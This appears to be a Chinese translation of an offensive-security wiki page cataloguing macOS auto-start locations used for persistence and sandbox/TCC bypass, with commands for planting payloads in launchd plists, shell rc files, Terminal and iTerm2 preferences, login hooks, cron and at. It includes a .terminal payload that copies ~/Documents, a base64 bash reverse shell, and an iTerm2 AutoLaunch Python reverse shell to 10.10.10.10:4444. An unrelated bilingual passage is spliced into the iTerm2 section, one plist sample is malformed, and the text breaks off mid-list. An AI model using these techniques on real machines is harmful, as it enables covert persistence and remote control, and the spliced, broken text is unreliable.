macOS Auto Start

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

本节内容主要基于博客系列超越传统的LaunchAgents,旨在添加更多自动启动位置(如果可能的话),指出哪些技术在最新版本的macOS(13.4)中仍然有效,并指定所需的权限

沙盒绕过

在这里,您可以找到有用于绕过沙盒的启动位置,允许您通过将其写入文件等待一个非常常见的 操作,一个确定的时间量或一个通常可以在沙盒内执行而无需root权限的操作来简单执行某些内容。

Launchd

  • 用于绕过沙盒:

  • TCC绕过:🔴

位置

  • /Library/LaunchAgents

  • 触发器:重启

  • 需要Root权限

  • /Library/LaunchDaemons

  • 触发器:重启

  • 需要Root权限

  • /System/Library/LaunchAgents

  • 触发器:重启

  • 需要Root权限

  • /System/Library/LaunchDaemons

  • 触发器:重启

  • 需要Root权限

  • ~/Library/LaunchAgents

  • 触发器:重新登录

  • ~/Library/LaunchDemons

  • 触发器:重新登录

描述与利用

launchd是在启动时由OX S内核执行的第一个 进程,也是在关机时最后一个完成的。它应该始终具有PID 1。此进程将读取和执行在以下ASEP plist中指示的配置:

  • /Library/LaunchAgents:由管理员安装的每个用户代理

  • /Library/LaunchDaemons:由管理员安装的系统范围守护程序

  • /System/Library/LaunchAgents:由Apple提供的每个用户代理

  • /System/Library/LaunchDaemons:由Apple提供的系统范围守护程序

当用户登录时,位于/Users/$USER/Library/LaunchAgents/Users/$USER/Library/LaunchDemons中的plist将以登录用户的权限启动。

代理和守护程序之间的主要区别在于代理在用户登录时加载,而守护程序在系统启动时加载(因为有些服务如ssh需要在任何用户访问系统之前执行)。此外,代理可能使用GUI,而守护程序需要在后台运行。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>

有时需要在用户登录之前执行代理,这些被称为PreLoginAgents。例如,这对于在登录时提供辅助技术很有用。它们也可以在/Library/LaunchAgents中找到(请参见此处的示例)。

新的守护程序或代理配置文件将在下次重启后加载,或使用launchctl load <target.plist>。也可以使用launchctl -F <file>加载没有扩展名的.plist文件(但这些plist文件在重启后不会自动加载)。 也可以使用launchctl unload <target.plist>卸载(指向它的进程将被终止)。

为了确保没有任何东西(如覆盖)阻止代理或守护程序运行,运行:sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist

列出当前用户加载的所有代理和守护程序:

launchctl list

如果一个 plist 文件被用户拥有,即使它位于守护程序系统范围的文件夹中,任务将作为用户执行而不是作为 root。这可以防止一些特权升级攻击。

shell 启动文件

Writeup: https://theevilbit.github.io/beyond/beyond_0001/ Writeup (xterm): https://theevilbit.github.io/beyond/beyond_0018/

  • 用于绕过沙盒:

  • TCC 绕过:

  • 但您需要找到一个具有 TCC 绕过的应用程序,执行加载这些文件的 shell

位置

  • ~/.zshrc, ~/.zlogin, ~/.zshenv.zwc, ~/.zshenv, ~/.zprofile

  • 触发条件:使用 zsh 打开终端

  • /etc/zshenv, /etc/zprofile, /etc/zshrc, /etc/zlogin

  • 触发条件:使用 zsh 打开终端

  • 需要 root 权限

  • ~/.zlogout

  • 触发条件:使用 zsh 退出终端

  • /etc/zlogout

  • 触发条件:使用 zsh 退出终端

  • 需要 root 权限

  • 可能还有更多在:man zsh

  • ~/.bashrc

  • 触发条件:使用 bash 打开终端

  • /etc/profile(未生效)

  • ~/.profile(未生效)

  • ~/.xinitrc, ~/.xserverrc, /opt/X11/etc/X11/xinit/xinitrc.d/

  • 触发条件:预期与 xterm 触发,但未安装,即使安装后也会出现此错误:xterm: DISPLAY is not set

描述与利用

当初始化 shell 环境,如 zshbash 时,会运行某些启动文件。macOS 目前使用 /bin/zsh 作为默认 shell。当启动终端应用程序或通过 SSH 访问设备时,会自动访问此 shell。虽然 bashsh 也存在于 macOS 中,但需要显式调用才能使用。

我们可以通过 man zsh 阅读 zsh 的 man 页面,其中有关启动文件的详细描述。

# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc

重新打开的应用程序

配置指定的利用方式,注销并重新登录,甚至重新启动都无法让我执行该应用程序。(应用程序未被执行,也许需要在执行这些操作时运行)

Writeup: https://theevilbit.github.io/beyond/beyond_0021/

  • 用于绕过沙盒:

  • TCC绕过:🔴

位置

  • ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

  • 触发器:重新启动时重新打开应用程序

描述和利用

所有要重新打开的应用程序都在 plist 文件 ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist 中。

因此,要让重新打开的应用程序启动您自己的应用程序,您只需要将您的应用程序添加到列表中

UUID 可以在列出该目录或使用 ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}' 找到。

要检查将要重新打开的应用程序,您可以执行以下操作:

defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

要将应用程序添加到此列表中,您可以使用:

# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

终端偏好设置

  • 有用于绕过沙盒:

  • TCC绕过:

  • 终端使用者需具有FDA权限

位置

  • ~/Library/Preferences/com.apple.Terminal.plist

  • 触发器: 打开终端

描述与利用

在**~/Library/Preferences中存储了用户在应用程序中的偏好设置。其中一些偏好设置可以包含配置以执行其他应用程序/脚本**。

例如,终端可以在启动时执行一个命令:

这个配置反映在文件**~/Library/Preferences/com.apple.Terminal.plist**中,如下所示:

[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]

所以,如果系统中终端的偏好设置的 plist 文件被覆盖,那么可以使用 open 功能来打开终端并执行该命令

您可以通过以下命令行添加此功能:

# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist

# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist

终端脚本 / 其他文件扩展名

  • 用于绕过沙盒的有用技术:

  • TCC绕过:

  • 终端使用用户的FDA权限

位置

  • 任何地方

  • 触发器: 打开终端

描述 & 利用

如果您创建一个**.terminal**脚本并打开它,终端应用程序将自动调用以执行其中指定的命令。如果终端应用程序具有一些特殊权限(如TCC),您的命令将以这些特殊权限运行。

尝试使用:

# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF

# Trigger it
open /tmp/test.terminal

# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>

您还可以使用扩展名**.command.tool**,其中包含常规shell脚本内容,它们也将被终端打开。

如果终端具有完全磁盘访问权限,它将能够完成该操作(请注意,执行的命令将在终端窗口中可见)。

音频插件

Writeup: https://theevilbit.github.io/beyond/beyond_0013/ Writeup: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882

  • 用于绕过沙盒:

  • TCC绕过:🟠

  • 您可能会获得一些额外的TCC访问权限

位置

  • /Library/Audio/Plug-Ins/HAL

  • 需要Root权限

  • 触发器:重新启动coreaudiod或计算机

  • /Library/Audio/Plug-ins/Components

  • 需要Root权限

  • 触发器:重新启动coreaudiod或计算机

  • ~/Library/Audio/Plug-ins/Components

  • 触发器:重新启动coreaudiod或计算机

  • /System/Library/Components

  • 需要Root权限

  • 触发器:重新启动coreaudiod或计算机

描述

根据先前的写作,可以编译一些音频插件并加载它们。

QuickLook插件

Writeup: https://theevilbit.github.io/beyond/beyond_0028/

  • 用于绕过沙盒:

  • TCC绕过:🟠

  • 您可能会获得一些额外的TCC访问权限

位置

  • /System/Library/QuickLook

  • /Library/QuickLook

  • ~/Library/QuickLook

  • /Applications/AppNameHere/Contents/Library/QuickLook/

  • ~/Applications/AppNameHere/Contents/Library/QuickLook/

描述与利用

当您触发文件的预览(在Finder中选择文件后按空格键)并安装了支持该文件类型的插件时,QuickLook插件可以被执行。

您可以编译自己的QuickLook插件,将其放在上述位置之一以加载它,然后转到支持的文件并按空格键触发它。

登录/注销挂钩

对我来说这不起作用,无论是用户LoginHook还是root LogoutHook

Writeup: https://theevilbit.github.io/beyond/beyond_0022/

  • 用于绕过沙盒:

  • TCC绕过:🔴

位置

  • 您需要能够执行类似defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh的命令

  • 位于~/Library/Preferences/com.apple.loginwindow.plist

它们已被弃用,但可用于在用户登录时执行命令。

cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh

这个设置存储在/Users/$USER/Library/Preferences/com.apple.loginwindow.plist

defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}

删除它:

defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook

**/private/var/root/Library/Preferences/com.apple.loginwindow.plist**中存储了root用户的自动启动位置。

条件沙盒绕过

在这里,您可以找到有用于绕过沙盒的启动位置,允许您通过将内容写入文件期望不太常见的条件(如特定已安装的程序,"不寻常"用户操作或环境)来简单执行某些操作。

Cron

Writeup: https://theevilbit.github.io/beyond/beyond_0004/

  • 用于绕过沙盒的有用性:

  • 但是,您需要能够执行crontab二进制文件

  • 或者是root用户

  • TCC绕过:🔴

位置

  • /usr/lib/cron/tabs//private/var/at/tabs/private/var/at/jobs/etc/periodic/

  • 需要root权限才能直接写入。如果可以执行crontab <file>,则无需root权限

  • 触发器:取决于cron作业

描述和利用

列出当前用户的cron作业:

crontab -l

在**/usr/lib/cron/tabs//var/at/tabs/**中可以查看用户的所有cron作业(需要root权限)。

在MacOS中,可以找到几个以特定频率执行脚本的文件夹:

# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/

在这里,您可以找到常规的cron jobsat jobs(不太常用),以及periodic jobs(主要用于清理临时文件)。 比如,可以使用periodic daily来执行每日的周期性作业。

要通过编程方式添加用户cronjob,可以使用:

echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron

iTerm2

Writeup: https://theevilbit.github.io/beyond/beyond_0002/

  • 用于绕过沙盒:

  • TCC绕过:

  • iTerm2曾经被授予TCC权限

位置

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch

  • 触发器: 打开iTerm

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt

  • 触发器: 打开iTerm

  • ~/Library/Preferences/com.googlecode.iterm2.plist

  • 触发器: 打开iTerm

描述与利用

存储在**~/Library/Application Support/iTerm2/Scripts/AutoLaunch**中的脚本将被执行。例如:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF

chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"

macOS Auto Start Locations

macOS自动启动位置

macOS provides several locations where applications and services can be configured to automatically start when a user logs in. These locations can be leveraged by malware to maintain persistence on a system.

macOS提供了几个位置,可以配置应用程序和服务在用户登录时自动启动。恶意软件可以利用这些位置来保持系统的持久性。

The following are common auto start locations in macOS:

以下是macOS中常见的自动启动位置:

  1. Login Items: These are user-specific auto start items that are configured in System Preferences > Users & Groups > Login Items.

    登录项:这些是在“系统偏好设置” > “用户与群组” > “登录项”中配置的特定于用户的自动启动项目。

  2. Launch Agents: These are user-specific or global auto start items that are configured using property list (plist) files in the ~/Library/LaunchAgents/ and /Library/LaunchAgents/ directories.

    启动代理:这些是使用属性列表(plist)文件在~/Library/LaunchAgents//Library/LaunchAgents/目录中配置的特定于用户或全局的自动启动项目。

  3. Launch Daemons: These are global auto start items that are configured using property list (plist) files in the /Library/LaunchDaemons/ directory.

    启动守护程序:这些是使用属性列表(plist)文件在/Library/LaunchDaemons/目录中配置的全局自动启动项目。

  4. Startup Items: Deprecated auto start mechanism that was used in older versions of macOS. Startup items are stored in the /Library/StartupItems/ directory.

    启动项:在旧版本的macOS中使用的已弃用的自动启动机制。启动项存储在/Library/StartupItems/目录中。

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os

async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)

iterm2.run_forever(main)
EOF

脚本 ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt 也会被执行:

do shell script "touch /tmp/iterm2-autolaunchscpt"

在**~/Library/Preferences/com.googlecode.iterm2.plist中的iTerm2首选项可以指示在打开iTerm2终端时执行的命令**。

此设置可以在iTerm2设置中配置:

而命令会反映在首选项中:

plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"

你可以设置要执行的命令为:

# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist

# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2

# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist

很可能有其他方法滥用 iTerm2 首选项来执行任意命令。

xbar

Writeup: https://theevilbit.github.io/beyond/beyond_0007/

  • 用于绕过沙盒的有用性:

  • 但必须安装 xbar

  • TCC 绕过:

  • 它请求辅助功能权限

位置

  • ~/Library/Application\ Support/xbar/plugins/

  • 触发器: 一旦 xbar 被执行

描述

如果安装了流行的程序 xbar,则可以在 ~/Library/Application\ Support/xbar/plugins/ 中编写一个 shell 脚本,在 xbar 启动时执行:

cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"

Hammerspoon

Writeup: https://theevilbit.github.io/beyond/beyond_0008/

  • 有用于绕过沙盒:

  • 但必须安装 Hammerspoon

  • TCC 绕过:

  • 它请求辅助功能权限

位置

  • ~/.hammerspoon/init.lua

  • 触发器: 一旦执行 Hammerspoon

描述

Hammerspoon 作为 macOS 的自动化平台,利用 LUA 脚本语言 进行操作。值得注意的是,它支持完整 AppleScript 代码的集成和 shell 脚本的执行,显著增强了其脚本编写能力。

该应用程序寻找一个单一文件,~/.hammerspoon/init.lua,并在启动时执行该脚本。

mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF

BetterTouchTool

  • 用于绕过沙盒:

  • 但必须安装BetterTouchTool

  • TCC绕过:

  • 它请求Automation-Shortcuts和Accessibility权限

位置

  • ~/Library/Application Support/BetterTouchTool/*

该工具允许指定应用程序或脚本在按下某些快捷键时执行。攻击者可能能够配置自己的快捷键和操作以在数据库中执行任意代码(一个快捷键可能只是按下一个键)。

Alfred

  • 用于绕过沙盒:

  • 但必须安装Alfred

  • TCC绕过:

  • 它请求Automation、Accessibility甚至Full-Disk访问权限

位置

  • ???

它允许创建工作流,当满足某些条件时可以执行代码。潜在地,攻击者可以创建一个工作流文件并让Alfred加载它(需要付费版本才能使用工作流)。

SSHRC

Writeup: https://theevilbit.github.io/beyond/beyond_0006/

  • 用于绕过沙盒:

  • 但需要启用和使用ssh

  • TCC绕过:

  • SSH用于具有FDA访问权限

位置

  • ~/.ssh/rc

  • 触发器:通过ssh登录

  • /etc/ssh/sshrc

  • 需要Root权限

  • 触发器:通过ssh登录

要打开ssh需要完全磁盘访问权限:

sudo systemsetup -setremotelogin on

描述 & 利用

默认情况下,除非在 /etc/ssh/sshd_config 中设置了 PermitUserRC no,当用户通过 SSH 登录时,将执行脚本 /etc/ssh/sshrc~/.ssh/rc

登录项

Writeup: https://theevilbit.github.io/beyond/beyond_0003/

  • 用于绕过沙盒:

  • 但需要使用 osascript 执行参数

  • TCC 绕过:🔴

位置

  • ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

  • 触发: 登录

  • 利用载荷存储调用 osascript

  • /var/db/com.apple.xpc.launchd/loginitems.501.plist

  • 触发: 登录

  • 需要 root 权限

描述

在系统偏好设置 -> 用户与组 -> 登录项 中,您可以找到用户登录时要执行的 项目。 可以通过命令行列出、添加和删除它们:

#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'

#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'

#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'

这些项目存储在文件**~/Library/Application Support/com.apple.backgroundtaskmanagementagent**

登录项也可以使用API SMLoginItemSetEnabled 进行指示,该API将在**/var/db/com.apple.xpc.launchd/loginitems.501.plist**中存储配置。

将ZIP作为登录项

(查看有关登录项的先前部分,这是一个扩展)

如果将ZIP文件存储为登录项,则**Archive Utility将打开它,例如,如果ZIP文件存储在~/Library中,并包含具有后门的文件夹LaunchAgents/file.plist**,则该文件夹将被创建(默认情况下不会创建),并且plist将被添加,因此下次用户再次登录时,plist中指定的后门将被执行

另一个选项是在用户主目录中创建文件**.bash_profile.zshenv**,因此如果LaunchAgents文件夹已经存在,则此技术仍将起作用。

At

详细信息:https://theevilbit.github.io/beyond/beyond_0014/

  • 用于绕过沙盒:

  • 但您需要执行 at,并且它必须是启用

  • TCC绕过:🔴

位置

  • 需要执行 at,并且它必须是启用

描述

at任务旨在安排在特定时间执行一次性任务。与cron作业不同,at任务在执行后会自动删除。需要注意的是,这些任务在系统重新启动后仍然存在,这在某些情况下可能会被视为潜在的安全问题。

默认情况下它们是禁用的,但root用户可以使用以下命令启用它们:

sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist

这将在1小时内创建一个文件:

echo "echo 11 > /tmp/at.txt" | at now+1

使用 atq 命令来检查作业队列:

sh-3.2# atq
26	Tue Apr 27 00:46:00 2021
22	Wed Apr 28 00:29:00 2021

以上我们可以看到两个已计划的任务。我们可以使用 at -c JOBNUMBER 命令打印任务的详细信息。

sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt

如果未启用 AT 任务,则创建的任务将不会被执行。

作业文件可以在 /private/var/at/jobs/ 找到

sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r--  1 root  wheel    6 Apr 27 00:46 .SEQ
-rw-------  1 root  wheel    0 Apr 26 23:17 .lockfile
-r--------  1 root  wheel  803 Apr 27 00:46 a00019019bdcd2
-rwx------  1 root  wheel  803 Apr 27 00:46 a0001a019bdcd2

文件名包含队列、作业编号和计划运行时间。例如,让我们看看 a0001a019bdcd2

  • a - 这是队列

  • 0001a - 十六进制的作业编号,0x1a = 26